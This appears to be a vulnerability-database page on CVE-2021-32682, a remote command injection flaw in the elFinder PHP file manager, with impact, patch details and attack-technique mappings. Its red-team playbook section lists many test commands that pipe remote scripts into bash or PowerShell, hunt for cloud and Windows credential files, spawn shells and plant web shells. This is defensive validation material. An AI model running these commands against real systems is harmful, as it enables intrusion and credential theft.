CVE-2021-32682
Overview
This vulnerability involves multiple injection flaws including directory traversal (CWE-22), command injection (CWE-78), and improper input validation leading to server-side code execution (CWE-918) within the elFinder PHP connector component. The root cause is insufficient sanitization of user-supplied input parameters in the connector, allowing crafted inputs to manipulate file paths and execute arbitrary system commands. The affected component is the elFinder PHP connector in version 2.1.58, which processes file management requests without adequate validation controls.
Vulnerability Description
elFinder is an open-source file manager for web, written in JavaScript using jQuery UI. Several vulnerabilities affect elFinder 2.1.58. These vulnerabilities can allow an attacker to execute arbitrary code and commands on the server hosting the elFinder PHP connector, even with minimal configuration. The issues were patched in version 2.1.59. As a workaround, ensure the connector is not exposed without authentication.
Impact
An unauthenticated remote attacker can exploit this vulnerability to execute arbitrary commands on the server hosting the elFinder PHP connector, leading to full system compromise. No user interaction or prior authentication is required (AV:N/AC:L/PR:N/UI:N), enabling remote code execution with high confidentiality, integrity, and availability impact (C:H/I:H/A:H). This can result in data theft, service disruption, or lateral movement within the affected environment.
Solution
Upgrade elFinder to version 2.1.59 or later as detailed in the GitHub security advisory GHSA-wph3-44rj-92pr. The patch commit a106c350b7dfe666a81d6b576816db9fe0899b17 contains the necessary fixes to input validation and command execution controls. As a temporary mitigation, ensure the PHP connector is not accessible without authentication to prevent unauthorized exploitation.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability affecting the open-source file manager elFinder, particularly in version 2.1.58, presents a significant security risk due to its ability to allow arbitrary code execution on the server hosting the PHP connector. This flaw arises from improper validation and sanitization of user inputs, which can be exploited by an attacker to inject malicious code. The underlying architecture, which relies heavily on JavaScript and jQuery UI, does not adequately enforce strict access controls, thereby exposing the server to potential exploitation even with minimal configuration. This vulnerability underscores the importance of secure coding practices and the need for robust input validation mechanisms in web applications.
Attack vectors for this vulnerability are varied and can be executed through several means. An attacker could exploit the flaw by crafting a malicious request that bypasses authentication mechanisms, allowing them to execute arbitrary commands on the server. This could be done through direct interaction with the PHP connector, where an attacker could upload malicious scripts or execute commands that compromise the server's integrity. Furthermore, if the elFinder instance is publicly accessible without proper authentication, the risk of exploitation increases significantly. Scenarios may include an attacker leveraging social engineering tactics to trick users into accessing a compromised instance or using automated tools to scan for vulnerable installations.
The real-world impact of this vulnerability can be devastating for organizations that utilize elFinder for file management. The ability to execute arbitrary code means that attackers could gain full control over the server, leading to data breaches, loss of sensitive information, and potential disruption of services. This could result in significant financial losses, reputational damage, and legal ramifications, especially for businesses that handle sensitive data or are subject to regulatory compliance. The high CVSS score of 9.8 indicates that this vulnerability poses a critical risk, necessitating immediate attention from system administrators and security professionals.
To detect and mitigate the risks associated with this vulnerability, organizations should prioritize updating to the patched version, 2.1.59, which addresses the identified issues. Regularly monitoring and auditing web applications for known vulnerabilities is essential, as is implementing a robust security posture that includes firewalls, intrusion detection systems, and strict access controls. As a proactive measure, organizations should restrict access to the elFinder PHP connector, ensuring it is not exposed to the public without proper authentication. Additionally, employing web application firewalls (WAFs) can help filter out malicious requests and provide an additional layer of security.
In conclusion, the vulnerabilities present in elFinder highlight critical weaknesses in web application security, particularly concerning input validation and access control. Organizations must remain vigilant and proactive in their security practices, ensuring that they are not only applying patches but also implementing comprehensive security measures to protect against potential exploitation. By understanding the nature of these vulnerabilities and adopting a multi-layered defense strategy, businesses can significantly reduce their risk exposure and safeguard their digital assets against malicious actors.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Std42 | Elfinder | All |
cpe:2.3:a:std42:elfinder:*:*:*:*:*:*:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
Metasploit (1)
| Module | Authors | Rank | Platform | Link |
|---|---|---|---|---|
|
elFinder Archive Command Injection
exploits/linux/http/elfinder_archive_cmd_injection
|
Thomas Chauchefoin, Shelby Pace | Unknown | - | View |
Threat Feed
1 eventsPublic exploit code is available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-88 | OS Command Injection |
55%
|
High | High | |
| CAPEC-6 | Argument Injection |
48%
|
High | High | |
| CAPEC-43 | Exploiting Multiple Input Interpretation Layers |
48%
|
Medium | High |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (5)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2021-32682 |
| github.com |
GitHub CVE
x_refsource_CONFIRM
|
https://github.com/Studio-42/elFinder/security/advisories/GHSA-wph3-44rj-92pr |
| github.com |
GitHub CVE
x_refsource_MISC
|
https://github.com/Studio-42/elFinder/commit/a106c350b7dfe666a81d6b576816db9fe0899b17 |
| packetstormsecurity.com |
GitHub CVE
x_refsource_MISC
|
http://packetstormsecurity.com/files/164173/elFinder-Archive-Command-Injection.html |
| blog.sonarsource.com |
GitHub CVE
x_refsource_MISC
|
https://blog.sonarsource.com/elfinder-case-study-of-web-file-manager-vulnerabilities/ |